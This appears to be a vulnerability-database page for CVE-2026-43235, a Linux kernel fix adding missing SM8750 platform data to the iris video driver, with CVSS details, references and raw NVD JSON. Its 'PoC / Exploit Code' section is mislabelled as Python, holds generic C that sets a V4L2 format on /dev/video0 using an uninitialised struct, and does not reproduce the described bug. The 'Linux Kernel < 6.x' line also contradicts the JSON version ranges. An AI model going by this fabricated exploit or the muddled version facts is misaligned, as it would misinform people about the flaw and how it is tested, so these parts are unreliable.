CVE-2026-43235

Description

In the Linux kernel, the following vulnerability has been resolved: media: iris: Add missing platform data entries for SM8750 Two platform-data fields for SM8750 were missed: - get_vpu_buffer_size = iris_vpu33_buf_size Without this, the driver fails to allocate the required internal buffers, leading to basic decode/encode failures during session bring-up. - max_core_mbps = ((7680 * 4320) / 256) * 60 Without this capability exposed, capability checks are incomplete and v4l2-compliance for encoder fails.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux Kernel < 6.x (Specific commits fixing SM8750 support)

Linux Kernel versions prior to commit 1aa5833f29b88c16e9ad49a1782927754f3af742

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <linux/videodev2.h>

int main() {
    // Attempt to open the video device (e.g., /dev/video0)
    int fd = open("/dev/video0", O_RDWR);
    if (fd < 0) return 1;

    struct v4l2_format fmt;
    fmt.type = V4L2_BUF_TYPE_VIDEO_OUTPUT_MPLANE;
    // Set a format that triggers buffer allocation logic
    fmt.fmt.pix_mp.width = 1920;
    fmt.fmt.pix_mp.height = 1080;
    fmt.fmt.pix_mp.pixelformat = V4L2_PIX_FMT_H264;

    // Trigger the ioctl which checks capabilities and allocates buffers
    if (ioctl(fd, VIDIOC_S_FMT, &fmt) < 0) {
        close(fd);
        return 1;
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43235
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43235
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43235/
[4] VulDB https://vuldb.com/cve/CVE-2026-43235
[5] https://git.kernel.org/stable/c/1aa5833f29b88c16e9ad49a1782927754f3af742
[6] https://git.kernel.org/stable/c/bbef55f414100853d5bcea56a41f8b171bac8fcb
[7] https://git.kernel.org/stable/c/c7b2105a1cad1737eb877cdb4865618927623dd4

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43235", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:43.693", "lastModified": "2026-05-12T19:02:14.483", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: iris: Add missing platform data entries for SM8750\n\nTwo platform-data fields for SM8750 were missed:\n\n - get_vpu_buffer_size = iris_vpu33_buf_size\n Without this, the driver fails to allocate the required internal\n buffers, leading to basic decode/encode failures during session\n bring-up.\n\n - max_core_mbps = ((7680 * 4320) / 256) * 60\n Without this capability exposed, capability checks are incomplete and\n v4l2-compliance for encoder fails."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.18", "versionEndExcluding": "6.18.17", "matchCriteriaId": "91D34097-62D4-400A-8894-1A45A5B44EEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/1aa5833f29b88c16e9ad49a1782927754f3af742", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/bbef55f414100853d5bcea56a41f8b171bac8fcb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/c7b2105a1cad1737eb877cdb4865618927623dd4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}